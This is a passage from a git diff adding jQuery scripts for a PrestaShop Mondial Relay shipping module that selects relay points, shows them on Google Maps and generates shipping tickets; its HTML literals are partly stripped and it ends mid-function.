//$('#PS_MRSelectCarrierError').fadeIn('fast'); + // alert(PS_MRTranslationList['errorSelection']); + return false; + } + return true; + } + + /** + * Link the generated relay point to an handle click + * Allow to add the selected relay point in the database + */ + function PS_MRHandleSelectedRelayPoint() + { + // Link all new generated relay point Selected button to an action + $('.PS_MRSelectRelayPointButton').click(function() + { + // Unselect all previous selection (normaly juste one) + $('.PS_MRFloatRelayPointSelected').each(function() + { + $(this).attr('class', 'PS_MRFloatRelayPointSelecteIt'); + $(this).children('a').text(PS_MRTranslationList['Select']); + }); + // Make the Selection + $(this).html(PS_MRTranslationList['Selected']); + $(this).parent().attr('class', 'PS_MRFloatRelayPointSelected'); + + // Get the info about the relay point (relayPoint_RelayPointNumber_IdCarrier) + var tab = $(this).parent().parent().attr('id').split('_'); + + // Store Separated data for the ajax query + if (tab.length == 3) + { + var relayPointNumber = selected_relay_point = tab[1]; + var id_carrier = tab[2]; + PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier); + } + }); + } + + + /** + * Display the relay point fetched + * + * @param json + * @param blockContent + * @param carrier_id + */ + function PS_MRDisplayRelayPoint(json, blockContent, carrier_id) + { + if (typeof json != 'undefined' && typeof blockContent != 'undefined') + { + numberDisplayed = 0; + + // Disable Gmap for IE user + // if (!$.browser.msie) + PS_MRCreateGmap(carrier_id); + blockContent.fadeOut('fast', function() + { + $(this).children('li').html(''); + var compteur=0; + for (relayPoint in json.success) + { + if(json.success[relayPoint].Pays=="FR"){ + // Check if the the content wasn't already displayed + contentBlockid = 'relayPoint_' + json.success[relayPoint].Num + '_' + carrier_id; + if (!$('#' + contentBlockid).size()) + { + // Set translation if a preselection exist + var BtTranslation = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + PS_MRTranslationList['Selected'] : PS_MRTranslationList['Select']; + + var classSelection = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + 'PS_MRFloatRelayPointSelected' : 'PS_MRFloatRelayPointSelecteIt'; + + $('
        ' + + '
        ' + + ' ' + + '
        ' + + '' + + '

        ' + json.success[relayPoint].LgAdr3 + + '
        ' + json.success[relayPoint].CP + ' ' + json.success[relayPoint].Ville + // + '
        ' + json.success[relayPoint].Pays + '

        ' + // + '
        ' + // + '' + BtTranslation + '' + // + '
        \ + +'
        ').appendTo($(this).children('li')); + + // Store all the object content to prevent an ajax request + relayPointDataContainers[json.success[relayPoint].Num] = json.success[relayPoint]; + ++numberDisplayed; + // Display popup for IE user + //if (!$.browser.msie) + PS_MRAddGMapMarker(carrier_id, json.success[relayPoint].Num, contentBlockid); + /* else + $('#' + contentBlockid).children('p').click(function() { + PS_MROpenPopupDetail(json.success[relayPoint].permaLinkDetail); + });*/ + } + } + if(compteur==0) + compteur=1; + else + compteur=0; + } + PS_MRHandleSelectedRelayPoint(); + $(this).fadeIn('fast'); + }); + } + } + + /** + * Display error about the fetch of the relay point + * + * @param errorList + * @param blockContent + */ + function PS_MRDisplayErrorRelayPoint(errorList, blockContent) + { + + blockContent.fadeOut('fast', function() + { + $(this).children('li').html(''); + for (numError in errorList) + { + $('
        ' + errorList[numError] + '
        ').appendTo($(this).children('li')); + } + $(this).fadeIn('fast'); + }); + } + + /** + * Fetch the relay point + * + * @param carrierSelected + */ + function PS_MRDisplayRelayPoint(json, blockContent, carrier_id) + { + if (typeof json != 'undefined' && typeof blockContent != 'undefined') + { + numberDisplayed = 0; + + // Disable Gmap for IE user + // if (!$.browser.msie) + PS_MRCreateGmap(carrier_id); + blockContent.fadeOut('fast', function() + { + $(this).children('li').html(''); + var compteur=0; + for (relayPoint in json.success) + { + if(json.success[relayPoint].Pays=="FR"){ + // Check if the the content wasn't already displayed + contentBlockid = 'relayPoint_' + json.success[relayPoint].Num + '_' + carrier_id; + if (!$('#' + contentBlockid).size()) + { + // Set translation if a preselection exist + var BtTranslation = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + PS_MRTranslationList['Selected'] : PS_MRTranslationList['Select']; + + var classSelection = (PS_MRSelectedRelayPoint['relayPointNum'] == json.success[relayPoint].Num) ? + 'PS_MRFloatRelayPointSelected' : 'PS_MRFloatRelayPointSelecteIt'; + + $('
        ' + + '
        ' + + ' ' + + '
        ' + + '' + + '

        ' + json.success[relayPoint].LgAdr3 + + '
        ' + json.success[relayPoint].CP + ' ' + json.success[relayPoint].Ville + // + '
        ' + json.success[relayPoint].Pays + '

        ' + // + '
        ' + // + '' + BtTranslation + '' + // + '
        \ + +'
        ').appendTo($(this).children('li')); + + // Store all the object content to prevent an ajax request + relayPointDataContainers[json.success[relayPoint].Num] = json.success[relayPoint]; + ++numberDisplayed; + // Display popup for IE user + //if (!$.browser.msie) + PS_MRAddGMapMarker(carrier_id, json.success[relayPoint].Num, contentBlockid); + /* else + $('#' + contentBlockid).children('p').click(function() { + PS_MROpenPopupDetail(json.success[relayPoint].permaLinkDetail); + });*/ + } + } + if(compteur==0) + compteur=1; + else + compteur=0; + } + PS_MRHandleSelectedRelayPoint(); + $(this).fadeIn('fast'); + }); + } + } + + /** + * Display the relay point of a selected Carrier and keep fetched data + * in the html page (cache) + * + * @param carrierSelected + */ + + function PS_MRFetchRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Block is an input, we need the 'tr' element + blockTR = carrierSelected.parent().parent(); + // Add a new line to the table after the clicked parent element + blockTR.after(' \ +
          \ +
        • \ + \ +
          \ +
        '); + + var data2=""; + if($('#MRVILLE').length>0){ + if($('#MRVILLE').val()!='' && $('#CODEPOSTAL').val()!="") + data2="?ville="+$('#MRVILLE').val()+"&codepostal="+$('#CODEPOSTAL').val(); + } + // alert(data2); + fetchingRelayPoint[carrier_id] = $('#PS_MRSelectedCarrier_' + carrier_id); + MRjQuery.ajax( + { + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php'+data2, + data: {'method' : 'MRGetRelayPoint', + 'id_carrier' : carrier_id, + 'ajax' : true, + 'step' : 2, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.error && json.error.length) + PS_MRDisplayErrorRelayPoint(json.error, $('#PS_MRSelectedCarrier_' + carrier_id)); + else if (json && json.success) + PS_MRDisplayRelayPoint(json, $('#PS_MRSelectedCarrier_' + carrier_id), carrier_id); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + function PS_MRGetRelayPoint(carrierSelected) + { + carrier_id = carrierSelected.val(); + + // Init back the inital view, hide existing element, (keep cached) + element = 0; + totalElement = $('.PS_MRSelectedCarrier').size(); + + // Check if the element has already been fetched + if (totalElement) + // It Works like a foreach + $('.PS_MRSelectedCarrier').fadeOut('fast', function() + { + if ((element + 1) >= totalElement) + { + // Check if the user already clicked and if the process is done + if (typeof fetchingRelayPoint[carrier_id] != 'undefined') + { + fetchingRelayPoint[carrier_id].fadeIn('fast'); + return ; + } + // If the element isn't cached, we fetch it + PS_MRFetchRelayPoint(carrierSelected); + } + ++element; + }); + else + PS_MRFetchRelayPoint(carrierSelected); + } + + + /** + * Create the Gmap Block and cache the js object for the carrier + * + * @param id_carrier + */ + function PS_MRCreateGmap(id_carrier) + { + if($('#echantillons').length==0){ + // This has been written this way because it needed to have a known block + // present everytime in the page. Body is the only one sure. + // It's an hidden block which will be put in the right block when user select his + // own carrier + var barreMap=""; + if($('#MRVILLE').length==0){ + barreMap='
        '; + } + + $('.mondialRelay').before(barreMap+'\ +
          \ +
        • \ +
          \ +
        '); + $('#PS_MRGmap_' + id_carrier).gmap3( + { + action: 'init', + callback: function(result) + { + GmapList[id_carrier] = $(this); + // Can't set the display to none by default (bug due to + // navigator that tell to google that the content size = 0 + //$(this).toggle('fast'); + } + } + ); + } + } + + + /** + * Resize the map when the div got changement about dimension / position and displaying + * + * @param $map + */ + function PS_MRGmapResizeEvent($map) + { + gmap = $map.gmap3({action:'get'}); + google.maps.event.trigger(gmap, 'resize'); + } + + /** + * Move the view of the gmap to a marker + * liable to the relay point + * + * @param $map + * @param marker + * @param relayNum + */ + function PS_MRGmapPlaceViewOnMarker($map, marker, relayNum) + { + $map.gmap3( + { + action:'panTo', + args:[marker.position], + callback: function() + { + PS_MRDisplayClickedGmapWindow(marker, relayNum, $map); + + // Make dancing markers in Firefox / IE will use the CPU to 50 to 100 % about + if (!$.browser.msie && !$.browser.mozilla) + (function(m) + { + setTimeout(function() + { + m.setAnimation(google.maps.Animation.BOUNCE); + }, 200); + })(marker); + // marker.setAnimation(google.maps.Animation.BOUNCE); + } + }); + } + + /** + * Stop all dancing marker of the current selected carrier + * + * @param currentMarkerList + */ + function PS_MRStopDancingMarkers(currentMarkerList) + { + for (markerNumber in currentMarkerList) + if (currentMarkerList[markerNumber] != undefined) + if (currentMarkerList[markerNumber].getAnimation() != null) + currentMarkerList[markerNumber].setAnimation(null); + } + + /** + * Display the Gmap of the selected relay point + * + * @param contentBlockid + * @param $map + */ + function PS_MRDisplayGmap(contentBlockid, $map) + { + var tab = contentBlockid.split('_'); + var relayPointNumber = tab[1]; + var id_carrier = tab[2]; + + // Stop the dancing marker of the current carrier + PS_MRStopDancingMarkers(markerList[id_carrier]); + if ($('#PS_MRGmap_' + id_carrier).css('display') == 'none') + { + $('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapResizeEvent($map); + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + else + { + previousElem = $('#PS_MRGmap_' + id_carrier).prev(); + //$('#' + contentBlockid).after($('#PS_MRGmap_' + id_carrier)); + $('#PS_MRGmap_' + id_carrier).toggle('fast', function() + { + if (previousElem.attr('id') != contentBlockid) + { + $('#' + contentBlockid).after($(this)); + $('#PS_MRGmap_' + id_carrier).slideDown('fast', function() + { + PS_MRGmapPlaceViewOnMarker($map, markerList[id_carrier][relayPointNumber], relayPointNumber); + }); + } + }); + } + } + + /** + * Generate an html block to display the opening hours details + * + * @param relayInfo + */ + function PS_MRGetTimeRelayDetail(relayInfo) + { + onClick = 'onClick="PS_MROpenPopupDetail(\'' + relayInfo.permaLinkDetail + '\')"'; + + var html = ' \ +
        \ + \ +

        ' + relayInfo.LgAdr1 + '
        ' + relayInfo.LgAdr3 + + ' - ' + relayInfo.CP + ' - ' + relayInfo.Ville + + ' ' + relayInfo.Pays + '

        \ + ' + PS_MRTranslationList['moreDetails'] + ' \ +
        '; + return html; + } + + /** + * Call a MondialRelay page into a popup + * + * @param url + */ + function PS_MROpenPopupDetail(url) + { + window.open(url, 'MondialRelay', + 'height=200, width=400, top=100, left=100, toolbar=no, menubar=yes, \ + location=no, resizable=yes, scrollbars=no, status=no'); + } + + /** + * Display the gmap windows selected by the user + * + * @param marker + * @param relayNum + * @param mapObject + */ + function PS_MRDisplayClickedGmapWindow(marker, relayNum, mapObject) + { + if (last_gmap_info_clicked.length) + { + // Close the last opening window in gmap + if ((lastWin = mapObject.gmap3({action:'get', name:'infowindow', tag:last_gmap_info_clicked}))) + lastWin.close(); + } + + // Open the selected detail window + map = mapObject.gmap3('get'); + if ((currentWindow = mapObject.gmap3({action:'get', name:'infowindow', tag:relayNum}))) + currentWindow.open(map, marker); + last_gmap_info_clicked = relayNum; + } + + /** + * Add a new Marker to a Gmap for a carrier using the + * relay point information + * + * @param id_carrier + * @param relayPointNumber + * @param contentBlockid + */ + function PS_MRAddGMapMarker(id_carrier, relayPointNumber, contentBlockid) + { + // Check if the gmap has been properly created + if (GmapList[id_carrier] == undefined) + return ; + var relayInfo = relayPointDataContainers[relayPointNumber]; + var detailContentHtml = PS_MRGetTimeRelayDetail(relayInfo); + + if($('.PS_MRRelayPointInfo').length==1){ + var centerTheMap=true; + }else{ + var centerTheMap=false; + } + // Add Marker to the map + var fullFormatedAddress = relayInfo.LgAdr1 + ' ' + relayInfo.LgAdr3 + ' ' + + relayInfo.CP + ' ' + relayInfo.Ville + ' ' + relayInfo.Pays; + GmapList[id_carrier].gmap3( + { + action: 'addMarker', + address: fullFormatedAddress, + tag:relayInfo.Num, + map: + { + center: centerTheMap, + zoom: 14 + }, + marker: { + events: + { + click:function(marker, event, data) + { + PS_MRDisplayClickedGmapWindow(marker, relayInfo.Num, $(this)); + } + }, + callback: function(marker) + { + if (marker) + { + // Check if the a marker list exist for the carrier, + if (markerList[id_carrier] == undefined) + markerList[id_carrier] = new Object(); + + // Store the marker in the markerList of the carrier + markerList[id_carrier][relayPointNumber] = marker; + + // Link all relay point line info to an action + $('#' + contentBlockid).children('p').click(function() + { + PS_MRDisplayGmap($(this).parent().attr('id'), GmapList[id_carrier]); + }); + return true; + } + else + $('#' + contentBlockid).children('p').click(function() + { + PS_MROpenPopupDetail(relayInfo.permaLinkDetail); + }); + } + }, + infowindow: + { + options: {content:detailContentHtml}, + tag:relayInfo.Num, + callback: function(infowindow) { + + var windowList = $(this).gmap3({action:'get', name:'infowindow', all:true}); + $.each(windowList, function(i, elem) { + elem.close(); + }); + } + } + }); + return false; + } + + /** + * Display the selected form block for the configuration page + * @param block_id + */ + function PS_MRDisplayConfigurationForm(block_id) + { + var block_form_id = block_id + '_block'; + var total_form = $('.PS_MRFormType').length; + var i = 0; + + $('.PS_MRFormType').each(function() + { + if ($(this).attr('id') != block_form_id) + $(this).css('display', 'none'); + if ((i + 1) == total_form) + { + $('#' + block_form_id).fadeIn('fast'); + $('#' + block_id).parents('ul').children('li').attr('class', ''); + $('#' + block_id).parent().attr('class', 'selected'); + } + ++i; + }); + + if ($('#' + block_form_id).length == 0) + $('#MR_error_account').fadeIn('fast'); + } + + function checkToDisplayRelayList() + { + if (typeof PS_MRData != 'undefined') + { + PS_MRSelectedRelayPoint['relayPointNum'] = selected_relay_point = PS_MRData.pre_selected_relay; + // PS_VERSION < '1.5' + if (PS_MRData.PS_VERSION < '1.5') + { + selected_id_carrier = $('input[name=id_carrier]:checked').val(); + // Bind id_carrierX to an ajax call + $.each(PS_MRData.carrier_list, function(i, carrier) { + $('#id_carrier' + carrier.id_carrier).click(function(){ + PS_MRCarrierSelectedProcess($(this), carrier.id_carrier, carrier.dlv_mode); + }); + PS_MRCarrierMethodList[carrier.id_carrier] = carrier.id_mr_method; + if ($('#id_carrier' + carrier.id_carrier).attr('checked')){ + PS_MRCarrierSelectedProcess($('#id_carrier' + carrier.id_carrier), carrier.id_carrier, carrier.dlv_mode); + } + }); + } + else if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { // 1.5 way + selected_id_carrier = $('input[class=delivery_option_radio]:checked').val().replace(',', ''); + if($('input[class=delivery_option_radio]:checked').parent().parent().parent('div.delivery_option')[1]) + { + var carrier_block = $('input[class=delivery_option_radio]:checked').parent().parent().parent('div.delivery_option')[1]; + } + else + { + var carrier_block = $('input[class=delivery_option_radio]:checked').parent().parent().parent('div.delivery_option'); + } + PS_MRCarrierMethodList[PS_MRData.carrier.id] = PS_MRData.carrier.id_mr_method; + PS_MRSelectedRelayPoint['carrier_id'] = PS_MRData.carrier.id; + // Simulate 1.4 table to store the relay point fetched + + var regex = new RegExp("step=1"); + if($('.ui-page-active').length > 0 && $('.ui-page-active').attr('data-url').match(regex)) + { + if($(carrier_block).find('.delivery_option_title').html()=="Mondial Relay"){ + $('.addresses .address_delivery').hide(); + $('.addresses .address_delivery').prev().hide(); + $('.addresses .address_delivery').next().hide(); + $('.addresses .address_delivery').next().next().hide(); + + $(carrier_block).parent().parent().append( + '
        ' + +'
          ' + +'
        • ' + + '' + + '
        • ' + +'
        ' + //+'' + +'
        '); + + PS_MRCarrierMethodList[PS_MRData.carrier.id_carrier] = PS_MRData.carrier.id_mr_method; + PS_MRCarrierSelectedProcess($('#id_carrier' + PS_MRData.carrier.id), PS_MRData.carrier.id, PS_MRData.carrier.mr_dlv_mode); + }else{ + + $('.addresses .address_delivery').prev().show(); + $('.addresses .address_delivery').show(); + $('.addresses .address_delivery').next().show(); + $('.addresses .address_delivery').next().next().show(); + } + } + } + + // Handle input click of the other input to hide the previous relay point list displayed + $('input[name=id_carrier], .delivery_option_radio').click(function(){ + // Hide MR input if one of them is not selected + + $('.delivery_option').removeClass('selected'); + $(this).parent().addClass('selected'); + + $('.addresses .address_delivery').show(); + $('.addresses .address_delivery').prev().show(); + $('.addresses .address_delivery').next().show(); + $('.addresses .address_delivery').next().next().show(); + + + // Hide MR input if one of them is not selected + $('#barreMap').remove(); + $('.mondialRelay.clear').remove(); + $('.PS_MRGmapDefaultPosition').remove(); + $('.PS_MRSelectedCarrier').remove(); + if (PS_MRCarrierMethodList[$(this).val()] == undefined){ + PS_MRHideLastRelayPointList(); + } + }); + + $('.button.noir.MR').live('click', function() { + // $('.button.noir.MR').click(function(){ + // Hide MR input if one of them is not selected + // if (PS_MRCarrierMethodList[$(this).val()] == undefined){ + // alert('test'); + // checkToDisplayRelayList(); + if($('#CODEPOSTAL').val()=='' || $('#MRVILLE')=='') + alert(PS_MRTranslationList['cpvilleobligatoire']); + else{ + $('.PS_MRGmapDefaultPosition').remove(); + $('.PS_MRSelectedCarrier').remove(); + PS_MRCarrierSelectedProcess($('#id_carrier' + PS_MRData.carrier.id), PS_MRData.carrier.id, PS_MRData.carrier.mr_dlv_mode); + } + // } + }); + + // 1.5 OPC Validation - Warn user to select a relay point + $('.payment_module a').live('click', function() { + if (PS_MRData.PS_VERSION >= '1.5' && PS_MRData.carrier) + { + var _return = !(!PS_MRSelectedRelayPoint['carrier_id'] || !PS_MRSelectedRelayPoint['relayPointNum']); + if (!_return) + alert(PS_MRTranslationList['errorSelection']); + return _return; + } + }); + } + } + + $(document).ready(function() + { + $('#form').submit(function() + { + return PS_MRCheckSelectedRelayPoint(); + }); + $('#toggleStatusOrderList').click(function() + { + toggleOrderListSelection(); + }); + $('#toggleStatusHistoryList').click(function() + { + toggleHistoryListSelection(); + }); + $('#generate').click(function() + { + generateTicketsAjax(); + }); + $('#PS_MRSubmitButtonDeleteHistories').click(function() + { + deleteSelectedHistories(); + }); + + // Shipping method list + $('.send_disable_carrier_form').click(function() { + $(this).parent('form').submit(); + }); + + // Configuration form page + $('#MR_config_menu a').each(function() { + $(this).click(function() { + PS_MRDisplayConfigurationForm($(this).attr('id')); + }); + }) + + $('input[name="processCarrier"]').click(function() { + if (PS_MRData != 'undefined' && PS_MRData.carrier != null) { + var result = false; + $.each(PS_MRData.carrier_list, function(key, value) { + if (value.id_carrier == selected_id_carrier && selected_relay_point > 0) + result = true; + }); + if (result == true) + return true; + alert(PS_MRWarningMessage); + return false; + } + return true; + }); + + if (typeof(PS_MR_SELECTED_TAB ) != 'undefined') + $('#MR_' + PS_MR_SELECTED_TAB + '_block').fadeIn('fast'); + + // Have the
      • elements centered (TODO: Change it using css if possible) + if ($('#MR_config_menu').size()) + { + var width = $('#MR_config_menu').width(); + + // Take directly the ul width woudln't work + var ul_width = 0; + + $('#MR_config_menu').find('ul > li').each(function() { + + var padding_left = parseInt($(this).css('padding-left').replace(/[^-\d\.]/g, '')); + var padding_right = parseInt($(this).css('padding-right').replace(/[^-\d\.]/g, '')); + + ul_width += parseInt($(this).width()) + padding_left + padding_right; + }); + + width = ((width - ul_width) / 2); + $('#MR_config_menu').children('ul').css('margin-left', width + 'px'); + } + }); + + // To have public method access for this closure + return { + initFront : function() { + setTimeout(function(){ + checkToDisplayRelayList(); + },200); + }, + uninstall : function(url) + { + return PS_MRGetUninstallDetail(url); + } + }; +})(jQuery); diff --git a/modules/mondialrelay/js/mondialrelay_mobile2.js b/modules/mondialrelay/js/mondialrelay_mobile2.js new file mode 100755 index 0000000..b88c03d --- /dev/null +++ b/modules/mondialrelay/js/mondialrelay_mobile2.js @@ -0,0 +1,1164 @@ +var PS_MRObject = (function($, undifened) { + + var selected_id_carrier = 0; + var selected_relay_point = 0; + var toggle_status_order_list = false; + var toggle_history_order_list = false; + var relay_point_max = 10; + var last_gmap_info_clicked = ''; + +// /!\ All the following list data could be store into the same variable +// But for a better reading of the code, there are separated + +// List of the supplier id which the user trying to fetch the relay + var fetchingRelayPoint = new Array(); + +// List of the relay point object + var relayPointDataContainers = new Array(); + +// List of the google map object + var GmapList = new Object(); + +// List the marker liable to the relay pint + var markerList = new Object(); + + var selected = false; + + /** + * Toggle selected orders + */ + function toggleOrderListSelection() + { + toggle_status_order_list = !toggle_status_order_list; + $('input[name="order_id_list[]"]').attr('checked', toggle_status_order_list); + } + + /** + * Toggle selected histories + */ + function toggleHistoryListSelection() + { + toggle_history_order_list = !toggle_history_order_list; + $('input[name="history_id_list[]"]').attr('checked', toggle_history_order_list); + } + + /** + * Request Ajax call to get tickets + * + * @param detailedExpeditionList + */ + function getTickets(detailedExpeditionList) + { + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'detailedExpeditionList':detailedExpeditionList, 'method':'MRGetTickets', 'mrtoken':mrtoken}, + dataType: 'json', + success: function(json) + { + if (json && json.success) + { + $('#MR_error_histories').remove(); + for (id_order in json.success) + if (json.success[id_order]) + { + $('#URLA4_' + id_order).html('\ + download pdf'); + $('#URLA5_' + id_order).html('\ + download pdf'); + $('#expeditionNumber_' + id_order).html(json.success[id_order].expeditionNumber); + $('#detailHistory_' + id_order).children('td').children('input').attr('value', json.success[id_order].id_mr_history); + $('#detailHistory_' + id_order).children('td').children('input').attr('id', 'PS_MRHistoryId_' + json.success[id_order].id_mr_history); + } + } + displayBackGenerateSubmitButton(); + displayBackHistoriesSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + displayBackGenerateSubmitButton(); + } + }); + } + + /** + * Check error for the generated tickets + * @param json + */ + function checkErrorGeneratedTickets(json) + { + i = 0; + $('.PS_MRErrorList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRErrorList').length) && json && json.error) + for (id_order in json.error) + if (json.error[id_order] && json.error[id_order].length) + { + $('#errorCreatingTicket_' + id_order).children('td').children('span').html(''); + $('#errorCreatingTicket_' + id_order).fadeOut('slow'); + $('#errorCreatingTicket_' + id_order).fadeIn('slow'); + for (numError in json.error[id_order]) + $('#errorCreatingTicket_' + id_order).children('td').children('span').append(json.error[id_order][numError] + '
        '); + } + }); + checkOtherErrors(json); + } + + /** + * Check Errors code + * @param json + */ + function checkOtherErrors(json) + { + $('#otherErrors').fadeOut('fast', function() + { + if (json && json.other && json.other.error) + for (numError in json.other.error) + if (json.other.error[numError]) + { + $('#otherErrors').fadeIn('slow'); + $('#otherErrors').children('span').html(''); + $('#otherErrors').children('span').append(json.other.error[numError]); + } + }); + } + + /** + * Check anything about generated tickets + * @param json + */ + function checkSucceedGenerateTickets(json) + { + detailedExpeditionList = new Array(); + + i = 0; + $('.PS_MRSuccessList').fadeOut('fast', function() + { + if ((++i >= $('.PS_MRSuccessList').length) && json && json.success) + { + for (id_order in json.success) + if (json.success[id_order] && json.success[id_order].expeditionNumber) + { + $('#successCreatingTicket_' + id_order).children('td').children('span').html(''); + $('#PS_MRLineOrderInformation-' + id_order).remove(); + $('#successCreatingTicket_' + id_order).fadeIn('slow'); + detailedExpeditionList.push({'id_order':id_order, 'expeditionNumber':json.success[id_order].expeditionNumber}); + + if (!$('#detailHistory_' + id_order).length) + { + $('#PS_MRHistoriqueTableList').append('\ + \ + \ + ' + id_order + '\ + \ + \ + \ + '); + } + else + { + $('#detailHistory_' + id_order).children('#URLA4_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#URLA5_' + id_order).html(''); + $('#detailHistory_' + id_order).children('#expeditionNumber_' + id_order).html(''); + } + } + } + }); + return detailedExpeditionList; + } + + /** + * Display the button to generate tickets + */ + function displayBackGenerateSubmitButton() + { + $('#PS_MRSubmitGenerateLoader').css('display', 'none'); + if ($('.order_id_list').length) + $('#PS_MRSubmitButtonGenerateTicket').fadeIn('slow'); + } + + /** + * Display the button to delete histories + */ + function displayBackHistoriesSubmitButton() + { + $('#PS_MRSubmitDeleteHistoriesLoader').css('display', 'none'); + if ($('.history_id_list').length) + $('#PS_MRSubmitButtonDeleteHistories').fadeIn('slow'); + } + + /** + * Request an ajax call to generate the tickets + */ + function generateTicketsAjax() + { + var order_id_list = new Array(); + var weight_list = new Array(); + + $('#PS_MRSubmitButtonGenerateTicket').css('display', 'none'); + $('#PS_MRSubmitGenerateLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="order_id_list[]"]:checked').each(function() + { + order_id_list.push($(this).val()); + weight_list.push(($('#weight_' + $(this).val()).val()) + '-' + $(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'order_id_list' : order_id_list, + 'numSelected' : numSelected, + 'weight_list' : weight_list, + 'method' : 'MRCreateTickets', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + detailedExpeditionList = new Array(); + + checkErrorGeneratedTickets(json); + detailedExpeditionList = checkSucceedGenerateTickets(json); + + if (detailedExpeditionList.length) + getTickets(detailedExpeditionList); + else + displayBackGenerateSubmitButton(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackGenerateSubmitButton(); + } + }); + delete(order_id_list); + delete(weight_list); + } + + /** + * Display deleted history details + */ + function displayDeletedHistoryInformation() + { + $('input[name="history_id_list[]"]:checked').each(function() + { + $(this).parent().parent().css('background-color', '#FFE2E3'); + }); + displayBackHistoriesSubmitButton(); + } + + /** + * Manage the removed histories id + * + * @param json + */ + function checkDeletedHistoriesId(json) + { + if (json && json.success) + { + // Allow to wait the end of the loop to manage unremoved item + i = 0; + for (numberHistoryId in json.success.deletedListId) + { + $('#PS_MRHistoryId_' + json.success.deletedListId[numberHistoryId]).parent().parent().fadeOut('fast', function() { + $(this).remove(); + // Fadeout is asynchome verify everytime the number element + if (++i == json.success.deletedListId.length) + displayDeletedHistoryInformation(json.success.deletedListId.length); + }); + } + // Use if none element exist in the list + if (i == json.success.deletedListId.length) + displayDeletedHistoryInformation(); + } + else + displayBackHistoriesSubmitButton(); + } + + /** + * Delete the histories selected by the merchant + */ + function deleteSelectedHistories() + { + var history_id_list = new Array(); + + $('#PS_MRSubmitButtonDeleteHistories').css('display', 'none'); + $('#PS_MRSubmitDeleteHistoriesLoader').fadeIn('slow'); + + numSelected = $('input[name="order_id_list[]"]:checked').length; + $('input[name="history_id_list[]"]:checked').each(function() + { + history_id_list.push($(this).val()); + }); + + $.ajax( + { + type : 'POST', + url : window.location.href, + data : {'history_id_list' : history_id_list, + 'numSelected' : numSelected, + 'method' : 'DeleteHistory', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + checkOtherErrors(json); + checkDeletedHistoriesId(json); + }, + error: function(xhr, ajaxOptions, thrownError) + { + display_generate_button = true; + displayBackHistoriesSubmitButton(); + } + }); + } + + /** + * Display a fancy box displaying details about the + * backup of the database + */ + function PS_MRGetUninstallDetail(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'showFancy', + 'href' : url, + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + ((json.html.length) ? + $.fancybox(json.html, + { + 'autoDimensions' : false, + 'width' : 450, + 'height' : 'auto', + 'transitionIn' : 'none', + 'transitionOut' : 'none', + 'onComplete' : function() + { + PS_MRHandleUninstallButton(url); + + // Rewrite some css properties of Fancybox + $('#fancybox-wrap').css('width', ''); + $('#fancybox-content').css('background-color', ''); + $('#fancybox-content').css('border', ''); + } + }) + : ''); + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + return false; + } + + /** + * Handle the button when a user clicked on the uninstall button + */ + function PS_MRHandleUninstallButton(url) + { + $('#PS_MR_BackupAction').click(function() + { + $.fancybox.close(); + PS_MRBackupDatabase(url); + }); + + $('#PS_MR_UninstallAction').click(function() + { + window.location.href = url; + $.fancybox.close(); + return true; + }); + + $('#PS_MR_StopUninstall').click(function() + { + $.fancybox.close(); + return false; + }); + } + + /** + * Ajax call to keep the database of the module safe + */ + function PS_MRBackupDatabase(url) + { + $.ajax( + { + type: 'POST', + url: window.location.href, + data: {'method' : 'uninstallDetail', + 'action' : 'backupAndUninstall', + 'mrtoken' : mrtoken}, + dataType: 'json', + success: function(json) + { + url += '&keepDatabase=true'; + window.location.href = url; + }, + error: function(xhr, ajaxOptions, thrownError) + { + // Put debug to see error detail + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * with the selected relay point information + * + * @param relayPointNumber + * @param id_carrier + */ + function PS_MRAddSelectedRelayPointInDB(relayPointNumber, id_carrier) + { + PS_MRSelectedRelayPoint['relayPointNum'] = relayPointNumber; + + // Ajax call to add the selection in the database (compatibility for 1.3) + // But keep this way to add a selection better that the hook + MRjQuery.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'relayPointInfo' : relayPointDataContainers[relayPointNumber], + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + if (PS_MROPC && PS_MRData.PS_VERSION < '1.5') + updateCarrierSelectionAndGift(); + }, + error: function(xhr, ajaxOptions, thrownError) + { + } + }); + } + + /** + * Add / update a entry to the selected carrier to the mr_selected table + * Without relay point information + * + * @param id_carrier + */ + function PS_MRAddSelectedCarrierInDB(id_carrier) + { + PS_MRHideLastRelayPointList(); + + // Make the request + $.ajax({ + type: 'POST', + url: _PS_MR_MODULE_DIR_ + 'ajax.php', + data: {'method' : 'addSelectedCarrierToDB', + 'id_carrier' : id_carrier, + 'id_mr_method' : PS_MRCarrierMethodList[id_carrier], + 'mrtoken' : mrtoken}, + success: function(json) + { + }, + error: 